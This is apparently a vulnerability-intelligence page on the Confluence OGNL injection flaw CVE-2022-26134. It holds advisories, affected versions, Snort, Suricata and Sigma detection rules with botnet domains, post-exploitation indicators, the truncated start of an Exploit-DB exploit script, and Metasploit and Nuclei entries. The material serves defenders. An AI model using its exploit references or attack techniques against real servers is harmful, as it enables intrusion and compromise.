CVE-2022-26134
published 2022-06-03CVE-2022-26134: In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an unauthenticated attacker to execute…
PriorityP1100critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
KEVITWEXPLOITRansomwareInitial access
CISA Known Exploited Vulnerabilitydue 2022-06-06
Exploited in the wild
EPSS
100.00%
100.0th percentile
In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an unauthenticated attacker to execute arbitrary code on a Confluence Server or Data Center instance. The affected versions are from 1.3.0 before 7.4.17, from 7.13.0 before 7.13.7, from 7.14.0 before 7.14.3, from 7.15.0 before 7.15.2, from 7.16.0 before 7.16.4, from 7.17.0 before 7.17.4, and from 7.18.0 before 7.18.1.
Affected
42 ranges· showing 25
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| atlassian | confluence_data_center | — | — |
| atlassian | confluence_data_center | >= 1.3 < 7.4.17 | 7.4.17 |
| atlassian | confluence_data_center | >= 7.13.0 < unspecified | unspecified |
| atlassian | confluence_data_center | >= 7.13.0 < 7.13.7 | 7.13.7 |
| atlassian | confluence_data_center | >= 7.14.0 < unspecified | unspecified |
| atlassian | confluence_data_center | >= 7.14.0 < 7.14.3 | 7.14.3 |
| atlassian | confluence_data_center | >= 7.15.0 < unspecified | unspecified |
| atlassian | confluence_data_center | >= 7.15.0 < 7.15.2 | 7.15.2 |
| atlassian | confluence_data_center | >= 7.16.0 < unspecified | unspecified |
| atlassian | confluence_data_center | >= 7.16.0 < 7.16.4 | 7.16.4 |
| atlassian | confluence_data_center | >= 7.17.0 < unspecified | unspecified |
| atlassian | confluence_data_center | >= 7.17.0 < 7.17.4 | 7.17.4 |
| atlassian | confluence_data_center | >= 7.18.0 < unspecified | unspecified |
| atlassian | confluence_data_center | >= next of 1.3.0 < unspecified | unspecified |
| atlassian | confluence_data_center | >= unspecified < 7.4.17 | 7.4.17 |
| atlassian | confluence_data_center | >= unspecified < 7.13.7 | 7.13.7 |
| atlassian | confluence_data_center | >= unspecified < 7.14.3 | 7.14.3 |
| atlassian | confluence_data_center | >= unspecified < 7.15.2 | 7.15.2 |
| atlassian | confluence_data_center | >= unspecified < 7.16.4 | 7.16.4 |
| atlassian | confluence_data_center | >= unspecified < 7.17.4 | 7.17.4 |
| atlassian | confluence_data_center | >= unspecified < 7.18.1 | 7.18.1 |
| atlassian | confluence_server | — | — |
| atlassian | confluence_server | >= 1.3 < 7.4.17 | 7.4.17 |
| atlassian | confluence_server | >= 7.13.0 < unspecified | unspecified |
| atlassian | confluence_server | >= 7.13.0 < 7.13.7 | 7.13.7 |
Detection & IOCsextracted from sources · hover to see the quote
snort↗
SIDs: 59925-59934
- →The exploit is delivered via a specially crafted HTTP request URI containing an OGNL expression; all HTTP methods are vulnerable. Monitor HTTP requests to Confluence for OGNL expressions embedded in the URI path. ↗
- →90% of observed exploit requests match Rapid7 PoC parameters, including reference to a Java package and setting the X-Cmd-Response header. Use this as a high-confidence detection pattern. ↗
- →Post-exploitation: detect iptables being flushed or firewall policy set to ACCEPT by child processes of the Confluence JVM, indicating malware attempting to disable host-based firewall. ↗
- →Post-exploitation lateral movement: monitor for SSH credential harvesting from .ssh directories and .bash_history files under /root and /home, spawned from the Confluence process. ↗
- ·Disabling anonymous access to Confluence does NOT mitigate CVE-2022-26134; the vulnerability is exploitable by unauthenticated attackers regardless of this setting. ↗
- ·Uninstalling the Questions for Confluence app does NOT remove the hardcoded 'disabledsystemuser' account; the account must be manually disabled or deleted to remediate CVE-2022-26138. ↗
- ·All supported versions of Confluence Server and Data Center are affected; versions as old as 1.0.3 are vulnerable to CVE-2022-26134. ↗
CVSS provenance
nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.07.5HIGHAV:N/AC:L/Au:N/C:P/I:P/A:P
vulncheck9.8CRITICAL
cisa9.8CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
CISA
Atlassian Confluence Server and Data Center Remote Code Execution Vulnerability
cisa·2022-06-02·CVSS 9.8
CVE-2022-26134 [CRITICAL] CWE-917 Atlassian Confluence Server and Data Center Remote Code Execution Vulnerability
Vulnerability: Atlassian Confluence Server and Data Center Remote Code Execution Vulnerability
Affected: Atlassian Confluence Server/Data Center
Atlassian Confluence Server and Data Center contain a remote code execution vulnerability that allows for an unauthenticated attacker to perform remote code execution.
Required Action: Immediately block all internet traffic to and from affected products AND apply the update per vendor instructions [https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html] OR remove the affected products by the due date on the right. Note: Once the update is successfully deployed, agencies can reassess the internet blocking rules.
Notes: https://nvd.nist.gov/vuln/detail/CVE-2022-26134
Remediation Due Date: 2022-06-06
GHSA
GHSA-653m-wpjp-54c4: In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an unauthenticated attacker to exec
ghsa_unreviewed·2022-06-04
CVE-2022-26134 [CRITICAL] CWE-74 GHSA-653m-wpjp-54c4: In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an unauthenticated attacker to exec
In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an unauthenticated attacker to execute arbitrary code on a Confluence Server or Data Center instance. The affected versions are from 1.3.0 before 7.4.17, from 7.13.0 before 7.13.7, from 7.14.0 before 7.14.3, from 7.15.0 before 7.15.2, from 7.16.0 before 7.16.4, from 7.17.0 before 7.17.4, and from 7.18.0 before 7.18.1.
Project0
2022 0-day In-the-Wild Exploitation…so far - Project Zero
project_zero·2022-06-01·CVSS 8.8
CVE-2016-5128 [HIGH] 2022 0-day In-the-Wild Exploitation…so far - Project Zero
Posted by Maddie Stone, Google Project Zero
This blog post is an overview of a talk, “ 0-day In-the-Wild Exploitation in 2022…so far”, that I gave at the FIRST conference in June 2022. The slides are available here.
For the last three years, we’ve published annual year-in-review reports of 0-days found exploited in the wild. The most recent of these reports is the 2021 Year in Review report, which we published just a few months ago in April. While we plan to stick with that annual cadence, we’re publishing a little bonus report today looking at the in-the-wild 0-days detected and disclosed in the first half of 2022.
As of June 15, 2022, there have been 18 0-days detected and disclosed as exploited in-the-wild in 2022. When we analyzed those 0-days, we found that at least nin
VulnCheck
Atlassian Confluence Server and Data Center Remote Code Execution Vulnerability
vulncheck·2022·CVSS 9.8
CVE-2022-26134 [CRITICAL] CWE-917 Atlassian Confluence Server and Data Center Remote Code Execution Vulnerability
Atlassian Confluence Server and Data Center Remote Code Execution Vulnerability
Atlassian Confluence Server and Data Center contain a remote code execution vulnerability that allows for an unauthenticated attacker to perform remote code execution.
Affected: Atlassian Confluence Server and Data Center
Required Action: Immediately block all internet traffic to and from affected products AND apply the update per vendor instructions [https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html] OR remove the affected products by the due date on the right. Note: Once the update is successfully deployed, agencies can reassess the internet blocking rules.
Known Ransomware Campaign Use: Known
Exploitation References: https://www.countercraftsec.com/blog/active-
VulnCheck
WSO2 Multiple Products Unrestrictive Upload of File Vulnerability
vulncheck·2022·CVSS 9.8
CVE-2022-29464 [CRITICAL] CWE-22 WSO2 Multiple Products Unrestrictive Upload of File Vulnerability
WSO2 Multiple Products Unrestrictive Upload of File Vulnerability
Multiple WSO2 products allow for unrestricted file upload, resulting in remote code execution.
Affected: WSO2 Multiple Products
Required Action: Apply updates per vendor instructions.
Known Ransomware Campaign Use: Known
Exploitation References: https://www.rapid7.com/blog/post/2022/04/22/opportunistic-exploitation-of-wso2-cve-2022-29464/; https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; https://www.trendmicro.com/en_us/research/22/e/patch-your-wso2-cve-2022-29464-exploited-to-install-linux-compatible-cobalt-strike-beacons-other-malware.html; https://www.lacework.com/blog/kinsing-dark-iot-botnet-among-threats-targeting-cve-2022-26134/; https://unit42.paloaltonetworks.com/recent-exploi
VulnCheck
Apache CouchDB Insecure Default Initialization of Resource Vulnerability
vulncheck·2022·CVSS 9.8
CVE-2022-24706 [CRITICAL] CWE-1188 Apache CouchDB Insecure Default Initialization of Resource Vulnerability
Apache CouchDB Insecure Default Initialization of Resource Vulnerability
Apache CouchDB contains an insecure default initialization of resource vulnerability which can allow an attacker to escalate to administrative privileges.
Affected: Apache CouchDB
Required Action: Apply updates per vendor instructions.
Exploitation References: https://www.countercraftsec.com/blog/active-exploitation-of-confluence-cve-2022-26134/; https://www.countercraftsec.com/blog/active-exploitation-of-apache-couchdb-cve-2022-24706/; https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; https://1665891.fs1.hubspotusercontent-na1.net/hubfs/1665891/Threat%20reports/AquaSecurity_Kinsing_Demystified_Technical_Guide.pdf
Exploit PoC: https://vulncheck.com/xdb/b8f0f62ec11e; https://vuln
VulnCheck
Atlassian Confluence Server and Data Center Object-Graph Navigation Language (OGNL) Injection Vulnerability
vulncheck·2021·CVSS 9.8
CVE-2021-26084 [CRITICAL] CWE-917 Atlassian Confluence Server and Data Center Object-Graph Navigation Language (OGNL) Injection Vulnerability
Atlassian Confluence Server and Data Center Object-Graph Navigation Language (OGNL) Injection Vulnerability
Atlassian Confluence Server and Data Server contain an Object-Graph Navigation Language (OGNL) injection vulnerability that may allow an unauthenticated attacker to execute code.
Affected: Atlassian Confluence Server and Data Center
Required Action: Apply updates per vendor instructions.
Known Ransomware Campaign Use: Known
Exploitation References: https://www.lacework.com/blog/muhstik-takes-aim-at-confluence-cve-2021-26084/; https://cybersecurityworks.com/blog/vulnerabilities/cve-2021-26084-patch-the-confluence-servers-now.html; https://news.sophos.com/en-us/2021/10/04/atom-silo-ransomware-actors-use-confluence-exploit-dll-side-load-for-stealthy-attack/; https://www.lacework.co
VulnCheck
Red Hat Polkit Out-of-Bounds Read and Write Vulnerability
vulncheck·2021·CVSS 7.8
CVE-2021-4034 [HIGH] CWE-787 Red Hat Polkit Out-of-Bounds Read and Write Vulnerability
Red Hat Polkit Out-of-Bounds Read and Write Vulnerability
The Red Hat polkit pkexec utility contains an out-of-bounds read and write vulnerability that allows for privilege escalation with administrative rights.
Affected: Red Hat Polkit
Required Action: Apply updates per vendor instructions.
Known Ransomware Campaign Use: Known
Exploitation References: https://www.lacework.com/blog/kinsing-dark-iot-botnet-among-threats-targeting-cve-2022-26134/; https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/; https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; https://labs.withsecure.com/content/dam/labs/docs/WithSecure-Lazarus-No-Pineapple-Threat-Intelligence-Report-2023.pdf; https://decoded.avast.
Suricata
ET MALWARE ELF/Mirai Variant Activity (Outbound)
suricata·2022-06-09
CVE-2022-26134 ET MALWARE ELF/Mirai Variant Activity (Outbound)
ET MALWARE ELF/Mirai Variant Activity (Outbound)
Rule: alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"ET MALWARE ELF/Mirai Variant Activity (Outbound)"; flow:established,to_server; dsize:16; content:"|0f 69 64 6b|"; startswith; fast_pattern; content:"|2e 73 73 6c|"; endswith; reference:md5,d9c25c9dd17e1ef2f5b65f9f9723d301; reference:url,www.lacework.com/blog/kinsing-dark-iot-botnet-among-threats-targeting-cve-2022-26134/; classtype:trojan-activity; sid:2036940; rev:1; metadata:affected_product Linux, attack_target IoT, created_at 2022_06_09, deployment Perimeter, malware_family ELF_Mirai, confidence High, signature_severity Major, tag Description_Generated_By_Proofpoint_Nexus, updated_at 2022_06_09;)
Suricata
ET MALWARE Kinsing Botnet Related Domain in DNS Lookup (dragon .lib)
suricata·2022-06-09
CVE-2022-26134 ET MALWARE Kinsing Botnet Related Domain in DNS Lookup (dragon .lib)
ET MALWARE Kinsing Botnet Related Domain in DNS Lookup (dragon .lib)
Rule: alert dns $HOME_NET any -> any any (msg:"ET MALWARE Kinsing Botnet Related Domain in DNS Lookup (dragon .lib)"; dns.query; bsize:10; content:"dragon.lib"; nocase; reference:url,www.lacework.com/blog/kinsing-dark-iot-botnet-among-threats-targeting-cve-2022-26134/; classtype:domain-c2; sid:2036942; rev:2; metadata:attack_target IoT, created_at 2022_06_09, deployment Perimeter, confidence High, signature_severity Major, tag Description_Generated_By_Proofpoint_Nexus, updated_at 2024_03_26;)
Suricata
ET MALWARE Kinsing Botnet Related Domain in DNS Lookup (babaroga .lib)
suricata·2022-06-09
CVE-2022-26134 ET MALWARE Kinsing Botnet Related Domain in DNS Lookup (babaroga .lib)
ET MALWARE Kinsing Botnet Related Domain in DNS Lookup (babaroga .lib)
Rule: alert dns $HOME_NET any -> any any (msg:"ET MALWARE Kinsing Botnet Related Domain in DNS Lookup (babaroga .lib)"; dns.query; bsize:12; content:"babaroga.lib"; nocase; reference:url,www.lacework.com/blog/kinsing-dark-iot-botnet-among-threats-targeting-cve-2022-26134/; classtype:domain-c2; sid:2036943; rev:2; metadata:attack_target IoT, created_at 2022_06_09, deployment Perimeter, confidence High, signature_severity Major, tag Description_Generated_By_Proofpoint_Nexus, updated_at 2024_03_26;)
Suricata
ET MALWARE Kinsing Botnet Related Domain in DNS Lookup (tempest .lib)
suricata·2022-06-09
CVE-2022-26134 ET MALWARE Kinsing Botnet Related Domain in DNS Lookup (tempest .lib)
ET MALWARE Kinsing Botnet Related Domain in DNS Lookup (tempest .lib)
Rule: alert dns $HOME_NET any -> any any (msg:"ET MALWARE Kinsing Botnet Related Domain in DNS Lookup (tempest .lib)"; dns.query; bsize:11; content:"tempest.lib"; nocase; reference:url,www.lacework.com/blog/kinsing-dark-iot-botnet-among-threats-targeting-cve-2022-26134/; classtype:domain-c2; sid:2036944; rev:2; metadata:attack_target IoT, created_at 2022_06_09, deployment Perimeter, confidence High, signature_severity Major, tag Description_Generated_By_Proofpoint_Nexus, updated_at 2024_03_26;)
Suricata
ET MALWARE Kinsing Botnet Related Domain in DNS Lookup (blacknurse .lib)
suricata·2022-06-09
CVE-2022-26134 ET MALWARE Kinsing Botnet Related Domain in DNS Lookup (blacknurse .lib)
ET MALWARE Kinsing Botnet Related Domain in DNS Lookup (blacknurse .lib)
Rule: alert dns $HOME_NET any -> any any (msg:"ET MALWARE Kinsing Botnet Related Domain in DNS Lookup (blacknurse .lib)"; dns.query; bsize:14; content:"blacknurse.lib"; nocase; reference:url,www.lacework.com/blog/kinsing-dark-iot-botnet-among-threats-targeting-cve-2022-26134/; classtype:domain-c2; sid:2036941; rev:2; metadata:attack_target IoT, created_at 2022_06_09, deployment Perimeter, confidence High, signature_severity Major, tag Description_Generated_By_Proofpoint_Nexus, updated_at 2024_03_26;)
Sigma
Potential OGNL Injection Exploitation In JVM Based Application
sigma·CVSS 9.8
CVE-2017-5638 [CRITICAL] Potential OGNL Injection Exploitation In JVM Based Application
Potential OGNL Injection Exploitation In JVM Based Application
Detects potential OGNL Injection exploitation, which may lead to RCE.
OGNL is an expression language that is supported in many JVM based systems.
OGNL Injection is the reason for some high profile RCE's such as Apache Struts (CVE-2017-5638) and Confluence (CVE-2022-26134)
Detection:
condition: keywords
keywords:
- org.apache.commons.ognl.OgnlException
- ExpressionSyntaxException
Log Source: category: application
definition: 'Requirements: application error logs must be collected (with LOG_LEVEL=ERROR
and above)'
product: jvm
Exploit-DB
Confluence Data Center 7.18.0 - Remote Code Execution (RCE)
exploitdb·2022-06-10·CVSS 9.8
CVE-2022-26134 [CRITICAL] Confluence Data Center 7.18.0 - Remote Code Execution (RCE)
Confluence Data Center 7.18.0 - Remote Code Execution (RCE)
---
# Exploit Title: Confluence Data Center 7.18.0 - Remote Code Execution (RCE)
# Google Dork: N/A
# Date: 06/006/2022
# Exploit Author: h3v0x
# Vendor Homepage: https://www.atlassian.com/
# Software Link: https://www.atlassian.com/software/confluence/download-archives
# Version: All < 7.4.17 versions before 7.18.1
# Tested on: -
# CVE : CVE-2022-26134
# https://github.com/h3v0x/CVE-2022-26134
#!/usr/bin/python3
import sys
import requests
import optparse
import multiprocessing
from requests.packages import urllib3
from requests.exceptions import MissingSchema, InvalidURL
urllib3.disable_warnings()
requestEngine = multiprocessing.Manager()
session = requests.Session()
global paramResults
paramResults = requestEngine.list()
Metasploit
Atlassian Confluence Namespace OGNL Injection
metasploit
Atlassian Confluence Namespace OGNL Injection
Atlassian Confluence Namespace OGNL Injection
This module exploits an OGNL injection in Atlassian Confluence servers. A specially crafted URI can be used to evaluate an OGNL expression resulting in OS command execution.
Nuclei
Confluence - Remote Code Execution
nuclei·CVSS 9.8
CVE-2022-26134 [CRITICAL] Confluence - Remote Code Execution
Confluence - Remote Code Execution
Confluence Server and Data Center is susceptible to an unauthenticated remote code execution vulnerability.
Template:
id: CVE-2022-26134
info:
name: Confluence - Remote Code Execution
author: pdteam,jbertman
severity: critical
description: |
Confluence Server and Data Center is susceptible to an unauthenticated remote code execution vulnerability.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
remediation: |
Apply the latest security patches or updates provided by Atlassian to mitigate this vulnerability.
reference:
- https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis
- https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-113
Tenable
Inside the customer environment: Where threat actors, vulnerabilities, and exposed assets intersect
blogs_tenable·2026-05-27
CVE-2023-4966 Inside the customer environment: Where threat actors, vulnerabilities, and exposed assets intersect
## Exposure Management
## Explore By Use Case
## Explore By Industry
## Tenable is the one clear leader in Exposure Management
## Exposure management
resource center
## Accelerate your exposure management strategy with practical resources and tools.
## Explore By Use Case
## Explore By Industry
## Tenable is the one clear leader in Exposure Management
## Exposure management
resource center
## Accelerate your exposure management strategy with practical resources and tools.
## Inside the customer environment: Where threat actors, vulnerabilities, and exposed assets intersect
Tenable Research has developed a graph-based model linking 600+ threat groups to real-world customer exposures. It reveals which vulnerabilities sit at the intersection of severity, active exploit
Tenable
Frequently Asked Questions About Iranian Cyber Operations
blogs_tenable·2025-06-27
Frequently Asked Questions About Iranian Cyber Operations
## Cloud Exposure
Tenable Cloud Security (CNAPP) Request a demo
Tenable Cloud Vulnerability Management Request a demo
Tenable CIEM Request a demo
Secure your cloud
## Vulnerability Exposure
Tenable Vulnerability Management Try for free
Tenable Security Center Request a demo
Tenable Web App Scanning Try for free
Tenable Patch Management Request a demo
Tenable Enclave Security Request a demo
Tenable Attack Surface Management Request a demo
Tenable Nessus Try for free
## AI Exposure
Tenable AI Exposure Request a demo
## OT/IoT Exposure
Tenable OT Security Request a demo
## Identity Exposure
Tenable Identity Exposure Request a demo
## Business needs
Active Directory
AI Security Posture Management (AI-SPM)
AWS security
Azure security
Cloud Security Posture Man
Greynoiseio
Coordinated Cloud-Based Scanning Operation Targets 75 Known Exposure Points in One Day
blogs_greynoiseio·2025-05-27
Coordinated Cloud-Based Scanning Operation Targets 75 Known Exposure Points in One Day
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Find out immediately if an asset communicates with a malicious IP address
Vulnerability Prioritization Get real-time insight into active exploitation trends to better understand risk and severity
SOC Efficiency Filter out noisy, low priority and false-positive alerts from mass internet scanners
Incident Investigation Add context to incidents to speed the determinations of scope and timelines
Threat Hunting Quickly identify anomalous behavior and enrich your threat hunting campaigns
Why GreyNoise
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Fin
Greynoiseio
GreyNoise Detects Active Exploitation of CVEs Mentioned in Black Basta’s Leaked Chat Logs
blogs_greynoiseio·2025-02-26·CVSS 9.8
[CRITICAL] GreyNoise Detects Active Exploitation of CVEs Mentioned in Black Basta’s Leaked Chat Logs
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Find out immediately if an asset communicates with a malicious IP address
Vulnerability Prioritization Get real-time insight into active exploitation trends to better understand risk and severity
SOC Efficiency Filter out noisy, low priority and false-positive alerts from mass internet scanners
Incident Investigation Add context to incidents to speed the determinations of scope and timelines
Threat Hunting Quickly identify anomalous behavior and enrich your threat hunting campaigns
Why GreyNoise
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Fin
Qualys
Defense Lessons From the Black Basta Ransomware Playbook
blogs_qualys·2025-02-25
Defense Lessons From the Black Basta Ransomware Playbook
## Table of Contents
Know Your Enemys Playbook
Attackers Move Fast
How Qualys Can Help
The cybersecurity world was rocked last week by a massive leak of Black Basta’s internal communications that emerged from the group’s chat logs. Triggered by internal conflicts and a retaliatory data dump following attacks on Russian banks, the exposed records offer a rare glimpse into Black Basta’s tactics, operations, and leadership.
We’ve analyzed these newly unveiled tactics, and in this blog, we equip security teams with clear, actionable insights. We aim to highlight the key lessons learned—like immediate patching, tighter access controls, and rapid incident response—and provide an urgent call to action. This practical guide aims to help organizations strengthen their defenses against evolving
Qualys
Defense Lessons From the Black Basta Ransomware Playbook | Qualys
blogs_qualys·2025-02-25
Defense Lessons From the Black Basta Ransomware Playbook | Qualys
#### Table of Contents
- Know Your Enemys Playbook
- Attackers Move Fast
- How Qualys Can Help
The cybersecurity world was rocked last week by a massive leak of Black Basta’s internal communications that emerged from the group’s chat logs. Triggered by internal conflicts and a retaliatory data dump following attacks on Russian banks, the exposed records offer a rare glimpse into Black Basta’s tactics, operations, and leadership.
We’ve analyzed these newly unveiled tactics, and in this blog, we equip security teams with clear, actionable insights. We aim to highlight the key lessons learned—like immediate patching, tighter access controls, and rapid incident response—and provide an urgent call to action. This practical guide aims to help organizations strengthen their defenses against ev
Tenable
Cybersecurity Snapshot: Russia-backed Hackers Aim at Critical Infrastructure Orgs, as Crypto Fraud Balloons
blogs_tenable·2024-09-13
Cybersecurity Snapshot: Russia-backed Hackers Aim at Critical Infrastructure Orgs, as Crypto Fraud Balloons
## Cloud Exposure
Tenable Cloud Security (CNAPP) Request a demo
Tenable Cloud Vulnerability Management Request a demo
Tenable CIEM Request a demo
Secure your cloud
## Vulnerability Exposure
Tenable Vulnerability Management Try for free
Tenable Security Center Request a demo
Tenable Web App Scanning Try for free
Tenable Patch Management Request a demo
Tenable Enclave Security Request a demo
Tenable Attack Surface Management Request a demo
Tenable Nessus Try for free
## AI Exposure
Tenable AI Exposure Request a demo
## OT/IoT Exposure
Tenable OT Security Request a demo
## Identity Exposure
Tenable Identity Exposure Request a demo
## Business needs
Active Directory
AI Security Posture Management (AI-SPM)
AWS security
Azure security
Cloud Security Posture Man
Bleepingcomputer
Hackers target Docker, Hadoop, Redis, Confluence with new Golang malware
blogs_bleepingcomputer·2024-03-06
Hackers target Docker, Hadoop, Redis, Confluence with new Golang malware
## Hackers target Docker, Hadoop, Redis, Confluence with new Golang malware
## Ionut Ilascu
Hackers are targeting misconfigured servers running Apache Hadoop YARN, Docker, Confluence, or Redis with cryptominers and a new Golang-based malware that automates the discovery and compromise of the hosts.
The malicious tools used in the campaign take advantage of the API configuration weaknesses and exploit an old vulnerability in Atlassian Confluence to execute code on the machine.
Researchers at cloud forensics and incident response company Cado Security discovered the campaign and analyzed the payloads used in attacks, bash scripts, and Golang ELF binaries.
The researchers note that the intrusion set is similar to previously reported cloud attacks, some of them attributed to threat actors
Tenable
CVE-2023-22515: Zero-Day Vulnerability in Atlassian Confluence Data Center and Server Exploited in the Wild
blogs_tenable·2023-10-04·CVSS 9.8
[CRITICAL] CVE-2023-22515: Zero-Day Vulnerability in Atlassian Confluence Data Center and Server Exploited in the Wild
## Cloud Exposure
Tenable Cloud Security (CNAPP) Request a demo
Tenable Cloud Vulnerability Management Request a demo
Tenable CIEM Request a demo
Secure your cloud
## Vulnerability Exposure
Tenable Vulnerability Management Try for free
Tenable Security Center Request a demo
Tenable Web App Scanning Try for free
Tenable Patch Management Request a demo
Tenable Enclave Security Request a demo
Tenable Attack Surface Management Request a demo
Tenable Nessus Try for free
## AI Exposure
Tenable AI Exposure Request a demo
## OT/IoT Exposure
Tenable OT Security Request a demo
## Identity Exposure
Tenable Identity Exposure Request a demo
## Business needs
Active Directory
AI Security Posture Management (AI-SPM)
AWS security
Azure security
Cloud Security Posture Man
Qualys
Qualys Tackles 2022’s Top Routinely Exploited Cyber Vulnerabilities | Qualys
blogs_qualys·2023-08-24
Qualys Tackles 2022’s Top Routinely Exploited Cyber Vulnerabilities | Qualys
#### Table of Contents
- References
- Additional Contributor
A unified front against malicious cyber actors is climactic in the ever-evolving cybersecurity landscape. The joint Cybersecurity Advisory (CSA), a collaboration between leading cybersecurity agencies from the United States, Canada, United Kingdom, Australia, and New Zealand, is a critical guide to strengthen global cyber resilience. The agencies involved include the U.S.’s CISA, NSA, and FBI; Canada’s CCCS; U.K.’s NCSC-UK; Australia’s ACSC; and New Zealand’s NCSC-NZ and CERT NZ.
This collaboration among key cybersecurity agencies highlights the global nature of cybersecurity threats. Such cooperative efforts signify a unified perspective and highlight the need for shared intelligence and coordinated strategies. The realizatio
Qualys
Qualys Tackles 2022’s Top Routinely Exploited Cyber Vulnerabilities
blogs_qualys·2023-08-24
Qualys Tackles 2022’s Top Routinely Exploited Cyber Vulnerabilities
## Table of Contents
References
Additional Contributor
A unified front against malicious cyber actors is climactic in the ever-evolving cybersecurity landscape. The joint Cybersecurity Advisory (CSA), a collaboration between leading cybersecurity agencies from the United States, Canada, United Kingdom, Australia, and New Zealand, is a critical guide to strengthen global cyber resilience. The agencies involved include the U.S.’s CISA, NSA, and FBI; Canada’s CCCS; U.K.’s NCSC-UK; Australia’s ACSC; and New Zealand’s NCSC-NZ and CERT NZ.
This collaboration among key cybersecurity agencies highlights the global nature of cybersecurity threats. Such cooperative efforts signify a unified perspective and highlight the need for shared intelligence and coordinated strategies. The realization tha
Sentinelone
Enterprise Security Essentials | Top 12 Most Routinely Exploited Vulnerabilities
blogs_sentinelone·2023-08-08·CVSS 9.1
[CRITICAL] Enterprise Security Essentials | Top 12 Most Routinely Exploited Vulnerabilities
Leveraging known bugs and unpatched exploits continue to be an unyielding strategy for threat actors. Ranging from security bypasses and credential exposure to remote code execution, software vulnerabilities remain tools of the trade for cyber attackers looking for a way into lucrative systems.
While new flaws found in Active Directory and the MOVEit file transfer application along with those used in the AlienFox toolkit or recent IceFire ransomware campaigns have wreaked havoc this year, a number of existing vulnerabilities stand out from the rest in terms of how often they are abused to this day.
In this post, we delve into CISA’s latest round-up, which lists the top 12 most routinely exploited vulnerabilities of 2022 that continue to pose significant threats to enterprise businesses.
Sentinelone
Enterprise Security Essentials | Top 12 Most Routinely Exploited Vulnerabilities
blogs_sentinelone·2023-08-08·CVSS 9.1
[CRITICAL] Enterprise Security Essentials | Top 12 Most Routinely Exploited Vulnerabilities
Leveraging known bugs and unpatched exploits continue to be an unyielding strategy for threat actors. Ranging from security bypasses and credential exposure to remote code execution, software vulnerabilities remain tools of the trade for cyber attackers looking for a way into lucrative systems.
While new flaws found in Active Directory and the MOVEit file transfer application along with those used in the AlienFox toolkit or recent IceFire ransomware campaigns have wreaked havoc this year, a number of existing vulnerabilities stand out from the rest in terms of how often they are abused to this day.
In this post, we delve into CISA’s latest round-up, which lists the top 12 most routinely exploited vulnerabilities of 2022 that continue to pose significant threats to enterprise businesses.
Tenable
AA23-215A: 2022's Top Routinely Exploited Vulnerabilities
blogs_tenable·2023-08-03
AA23-215A: 2022's Top Routinely Exploited Vulnerabilities
## Cloud Exposure
Tenable Cloud Security (CNAPP) Request a demo
Tenable Cloud Vulnerability Management Request a demo
Tenable CIEM Request a demo
Secure your cloud
## Vulnerability Exposure
Tenable Vulnerability Management Try for free
Tenable Security Center Request a demo
Tenable Web App Scanning Try for free
Tenable Patch Management Request a demo
Tenable Enclave Security Request a demo
Tenable Attack Surface Management Request a demo
Tenable Nessus Try for free
## AI Exposure
Tenable AI Exposure Request a demo
## OT/IoT Exposure
Tenable OT Security Request a demo
## Identity Exposure
Tenable Identity Exposure Request a demo
## Business needs
Active Directory
AI Security Posture Management (AI-SPM)
AWS security
Azure security
Cloud Security Posture Man
Trendmicro
Trend is a Launch Partner for Amazon Security Lake
blogs_trendmicro·2023-06-02·CVSS 9.8
CVE-2022-26134 [CRITICAL] Trend is a Launch Partner for Amazon Security Lake
Compliance und Risiko
## Trend is a Launch Partner for Amazon Security Lake
Trend Micro is proud to be a launch partner for Amazon Security Lake, which puts the customer in control, making critical data available to them from third-party security and analytics solutions of their choice.
By: Erin Sindelar Jun 02, 2023 Read time: ( words)
Save to Folio
In September 2022, there was a critical bug in Confluence, CVE-2022-26134 , which was under active exploit. Due to the nature of the vulnerability, customers could find out if they were impacted, but they couldn’t necessarily determine the initial infection point. They could have been exploited 3 days, or 90 days, or even 3 years prior. And data older than 90 days isn’t stored by most EDR vendors. Even worse, if a customer had switched ED
Trendmicro
Trend is a Launch Partner for Amazon Security Lake
blogs_trendmicro·2023-06-02·CVSS 9.8
CVE-2022-26134 [CRITICAL] Trend is a Launch Partner for Amazon Security Lake
Compliance & Risks
# Trend is a Launch Partner for Amazon Security Lake
Trend Micro is proud to be a launch partner for Amazon Security Lake, which puts the customer in control, making critical data available to them from third-party security and analytics solutions of their choice.
By: Erin Sindelar
2023/06/02
Read time: ( words)
Save to Folio
In September 2022, there was a critical bug in Confluence, CVE-2022-26134, which was under active exploit. Due to the nature of the vulnerability, customers could find out if they were impacted, but they couldn’t necessarily determine the initial infection point. They could have been exploited 3 days, or 90 days, or even 3 years prior. And data older than 90 days isn’t stored by most EDR vendors. Even worse, if a customer had switched EDR vend
Trendmicro
Trend is a Launch Partner for Amazon Security Lake
blogs_trendmicro·2023-06-02·CVSS 9.8
